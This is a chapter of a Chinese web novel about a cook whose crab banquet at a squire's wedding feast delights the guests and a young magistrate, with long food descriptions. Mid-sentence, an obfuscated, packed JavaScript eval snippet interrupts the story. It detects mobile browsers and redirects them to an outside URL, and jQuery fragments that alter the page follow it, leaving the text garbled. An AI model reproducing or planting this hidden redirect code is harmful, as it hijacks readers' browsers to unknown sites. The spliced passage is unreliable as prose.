不过这话不好拿出来外面讲，他接着道，“那食肆我去吃过几次，东西是真好吃，价钱还实在，上城里知名酒楼吃一餐能在渔家傲那吃三天，还能餐餐不带重样的呢，就是排队排得我那个心累啊。
旁边另一个国字脸样的男客也加入讨论，连连点头表示赞同，“不是我说，这渔家傲的老板可真能干得很哪，不光开的食肆在城里一时风头无两，现在连宴席都承包上了，真是厉害啊！”
圆脸宾客点头，“谁说不是呢，我外甥过几日也要过百日宴，我看要不也请她去做几桌宴席。”
“你们家办喜事不是一贯上东盛酒楼开宴席的吗，怎么近来缺钱了，突然想走平民路了线？”书生摇着扇子凉凉道。
圆脸宾客立马否认，“说的哪话啊，我们家缺这点钱吗，就是这东盛酒楼虽然以海鲜闻名，这么些年做来做去就那几样海鲜，我们家老太太老爷子都吃腻了。
倒是渔家傲做的菜，好几个那真是吃到我心里去，可惜隔天再去，菜单上再找不到前一天的菜了，真是让人心痒痒，她家卖那生腌，我家饭桌更是一天都少不了，我们家仆婢如今闭着眼都能摸到她家食肆在哪了。”
后边那桌的宴客听到二人谈话，也转头加入聊天，“刘兄这话说得也的确不假，不光你家，我家宝贝闺女整天吵着要吃她家的水晶翡翠冰粉，自家做的点心那是一个眼神都不给，搞得我们家仆人三天两头往渔家傲跑，家里的厨子都快失业了，搞得也三天两头往那边跑说是要去求那老板指教呢。”
“是啊是啊……”
“没错我家也是……”
而女眷的席上更是精彩纷呈。
半个时辰前，桑榆在后厨看着竹篓里中等个头的和乐蟹，思量着怎么做，才能达到高员外要求的“惊艳所有人”“一文钱花出二十文的效果”。
和乐蟹以黄灿灿油亮□□的膏脂、云白肥美丰实的蟹肉闻名，蟹膏满到溢出后盖，用来做葱油膏蟹再合适不过。
主桌女眷正窃窃私语今日难得一见的探花郎何等的好看，被这道叫葱油膏蟹的菜打断。
橘色的蟹膏凝固后颗粒凝胶状，长在白色的蟹肉上颇有些欺霜傲雪的味道，香味扑鼻，绿色的葱花纷纷扬扬，衬得蟹肉更加雪白，如同皑皑白雪中开出朵朵金菊。
热油从和乐蟹的后盖浇上，“滋啦”一声，与前一刻刚淋上的酱油和糖交织，香味弥漫，五味交融，鲜活的蟹肉鲜中带甜，孩童夹起一块蟹肉，入口是绵密油香的膏黄，接着是松软香甜的雪白蟹肉，花瓣一样一瓣一瓣被稚童吸溜入嘴，连饱满的蟹腿和略显扁平的其余几根小蟹腿，都不舍得放过，将里面的汁水一点点吸食干净，仿佛在喝琼浆玉露。
“阿娘，我还想要吃这个螃蟹。”
当娘的将女儿牢牢抱在怀里，“这螃蟹呀一人一块，你看大家都分吃完了，你是吃最快的，下一道菜很快就上了，我们等会再吃，听话，啊。”
“不嘛，不嘛，我就要再吃一块，阿娘——”
“上菜——香辣大闸蟹，葱爆梭子蟹，蒜蓉粉丝蒸蟹脚，桂花炒青蟹，清酒焗花蟹，砂锅螃蟹粥。”
坐在娘亲膝上的小孩们听到这一句，眼睛亮起星星的光点，脖子都快伸成长颈鹿，“阿娘我要这个，我要那个，这个我也要……”
高员外这个万年铁公鸡难得出手阔绰一回，家里的胡椒粉跟不要钱似的，大方交给桑榆，“要多少用多少，尽管用，不够找我们家厨子老黄要。”
大闸蟹洗去泥沙除去胃肠，完美处理干净后经足量胡椒粉、料酒、葱盐的腌制，再敷上一层泥白的淀粉，就这不到半成品的卖相拿去东街上卖，光凭它散发出的胡椒香，这样一块螃蟹，至少能卖出二三十文钱。
既然高员外说了今晚这一场喜宴“钱不是重点”“重点是面子”，桑榆的调味用料自然也十分给力，陈年老姜、辣味后劲十足的大葱、或拍碎或切块的辛辣大蒜、昂贵稀有的茴香，加上桑榆自己种的黄灯笼辣椒以及她用盐和糖调制过的独家蚝油，酱汁五味杂糅，却各有妙处。
大留下的锅底香油经过蒜块爆香后，将前面腌制好抹上淀粉的蟹块放入锅里，用小火煎炸，一片油香中蟹黄凝固，蟹块表面也现出金黄色，捞起蟹块，在另外一个油锅中放入大葱、老姜、辣椒爆香，再加入茴香、花椒继续爆香。
在色彩纷呈的香锅中倒入蚝油酱汁、事先爆炒过的蒜块，继续将铺满锅底的一众调料翻炒均匀，之后加入清水烧开，最后倒入先前油炸过的大闸蟹蟹块，来回翻炒后，盖上锅盖，中火焖个片刻，再转成大火翻炒，使螃蟹吸收调料入味，汤汁收得差不多后，就可以加入盐和葱片，最后出锅装盘。
正因调料的给力，这道香辣大闸蟹甫一上桌，就以其香飘十里下饭一绝的优势，吸引得远近桌上的大人小孩鼻翼微张，举箸不停，纷纷叫嚷着要桌旁伺候的仆人再上一桶米饭。
“阿奶，对面吃的那个看上去很好吃的样子，我也要……”
“你这阵子有些上火，不能吃辣——”
小孩看着桌上正中间那盘越来越少的大闸蟹，眼泪汪汪，再不下手她就吃不到了，不由放声大哭起来，“不嘛不嘛，我就要……”
“最后四道菜，丝瓜海鲜煲，锦带鲈鱼羹，蛏子抱蛋，蜜渍青梅！”
粉粉绿绿的锅面，光看着酷热的夏夜都不觉降了好几度。舀上一碗，丝瓜软甜，腌过的鲜虾、八爪鱼嫩滑，汤水飘着蒜蓉酱香油，甜而不腻，一口入心。
第一号主桌坐着高员外一家及沧浪县内达官显贵，席上亦不乏文人雅士。
这些人平时吃惯了山珍海味，鲜少吃到如此平常的食材，不由觉得清新爽胃，正好中和方才享受过的饕餮螃蟹宴，再一尝这锦带羹，蝴蝶般纤巧的鱼片，豆腐般醇美滑嫩的鱼肉，锦带袖珍的莼菜，奶白的羹汤上浮光掠金，星油点点，一闪一闪的光晕，亮晶晶仿若诗的韵脚。
席上举杯换盏，一一喝过众人的敬酒，高员外笑出双下巴，抬眼见席上地位最高的那位似乎心不在焉，殷勤道，“颜大人，今晚这宴席可吃得尽兴？”
主桌上的颜卿书被锦带羹那星子般的油光晃了晃眼，抬眸看向高员外，笑道：
“当然，高员外不鸣则已，一鸣惊人，今天这宴席办得真是浓墨重彩，出手不凡啊。托高员外及高公子的福，本官今晚真是眼界大开，大饱口福。”
“承蒙大人不嫌弃，今晚招待不周啊，能吃得尽兴那当然最好。来，颜大人，我和犬子敬你一杯！”
“高员外客气了！多谢盛筵款待，祝高公子和少夫人百年好合，来年金榜题名，衣锦还乡。”颜卿书起身，向高家父子举杯。
“多谢大人，借大人吉言！”
大喜的日子，高承宗没少被宾客灌酒，此时已经喝得醉醺醺，晃晃悠悠站都站不稳，吉祥话谁不爱听，听完颜卿书的话更加喜上眉梢，连连应声，喝完手上的酒又自己满上一杯，许是平日里喝惯了白酒黄酒，甚少喝口感偏甜的果酒，不过今日这果酒他当真是喝不腻。
后边女眷那桌的高夫人见自家儿子喝得醉醺醺，连站都站不稳歪歪扭扭的模样，内心真是恨铁不成钢。
反观新来的县太爷，年纪轻轻就中了探花郎，长得一表人才光风霁月，自家那不成器的儿子站在颜大人身边，完全被比下去了，心中不免叹气，她自己的儿子读书不行就算了，怎么就连这长相也比不上人家一成呢。一边又遗憾，可惜自己没有女儿，不然这等人物非得招为乘龙快婿不可。
颜卿书亦将杯中青梅酒一饮而尽，果酒通透清澄，果香芬芳袭人，与今晚的螃蟹宴实在相配，连他这个一向不嗜酒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994738|178122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水的人都想再来三杯。
颜卿书握着瓷杯的手不由紧了紧，“贵府上真是卧虎藏龙，今晚这宴席操办得如此细致周全，高员外可真该好好赏赐府上的大厨。”
高员外笑得眼睛弯弯，“害，我们哪有这个福气请到这样的大厨天天给我们做饭呢，这大厨可是我和我家夫人从外面三顾茅庐好不容易请来帮忙的。”
颜卿书正想问是从外面哪家酒楼请来的大厨，却被高员外盛情按回席上。
“来，多吃菜多吃菜！”高员外双下巴变三重下巴，正好最后一道菜刚上来，便高声喊道，“来人，这蛏子抱蛋都上了，这么没人给咱们颜大人盛上一碗，快快，快给人盛上！”
高员外今日心情大好，这么一场筵席办下来，座无虚席，宾客无不尽欢，到场的无不对他这喜宴交口称赞的，他这个一家之主自是格外有脸面。
去年他做寿，自家厨子那混账玩意儿，不知变通，给他整的那一死出，几桌酒菜难吃得要死，喂猪猪都不吃，害得他背后没少被人骂，他真是出钱出力没讨到半点好，想想就憋屈。
后来那厨子被他一顿破口大骂，还敢嘴硬说物价上涨，他给的那点钱根本不够买新鲜海鲜，只能凑活买些以次充好的尾货，气得他当场叫他卷铺盖走人，最后还是他夫人看在他是自己陪嫁带过来的老人了，没有功劳也有苦劳，他这才放那混账老奴一马。
今日他不过叫自己外甥送来几篓螃蟹，出了点血花了点银子请来最近新开的渔家傲食肆厨娘操持席面，就收获了一大片叫好声，他总算一雪前耻，看以后谁还敢背后嚼舌根骂他铁公鸡。
不过这渔家傲的老板不愧是开门做生意的，是个有眼力劲儿的。虽然早就说好他家提供食材，让她只来人出个手艺就行，谁知道她还自备了些蛏子、莼菜、青梅蜜饯还有青梅酒，还把店里一度颇为抢手的洗手蟹都做出来了，哪个宾客吃了不对他竖起大拇指说他能耐？这桑掌柜还真是上道。虽然雇她过来操持席面工钱不低，不过，区区十两银子给他做了这么大的头脸，这钱花得，值！
青梅酒较之一般米酒，度数不高，因而虽喝了酒，颜卿书眼睛清亮，目光跟随被主人喊上席间的高家仆人的动作。
蛏子经过姜片、葱段和料酒煮开的沸水一烫，蛏子肉很快熟透，泡过凉水的蛏子肉从壳里被撕下，没了腥味带了酒味，吸收了微辣的姜葱味，变得更加爽弹咸鲜。
鸡蛋液和葱花搅拌均匀后，在锅底渐渐凝固，夹着葱香的蛋香钻入鼻尖，锅里七成熟的蛋液滋滋冒出浓稠的气泡，像在力邀蛏子肉入驻其中，蚝油和酱油、胡椒粉、白糖勾芡的酱汁紧随其后，将蛋液海浪染成片刻的蜜色，一番汹涌，随后浪底归潮，蜜汁融入烟波，锅中汤液又恢复成蛋黄海洋，外安静而内澎湃。
仆人将锅盖揭开，满砂锅的蛋液涛水般滚滚而来，蛏行水上，如叶叶小舟，与其说是蛏子抱蛋，不如说是蛋抱蛏子。
尚未从面前这锅大海烹小鲜的蛏子抱蛋带给自己的震撼中回神，颜卿书面前已经被摆上一碗刚盛出来的热气腾腾的蛏子抱蛋，以往二十年人生中甚少吃海鲜的他，饶有兴致地舀起一口，想不到一勺入魂，再难忘怀。
简单的食材，不简单的味道。
光是这点，就并非所有厨师都能轻松做到。
坐在公子侧后方仆从偏桌上的从砚吃得乐不思蜀，拿油纸将舍不得吃的蜜渍青梅包了好几层，塞进兜里，刚给自己盛上第三碗蛏子抱蛋，余光不经意扫过前面的主桌，这才终于想起自己还有个主人在旁边吃着，恋恋不舍地将脸从碗里抬起来，朝自家主人的方向望去。
不看不打紧，一看吓一跳。
想不到一向克己复礼，俭以养德，不怎么爱吃荤腥的公子，有一天居然碗底空荡荡,将一碗蛏子抱蛋安安静静从头到尾吃完。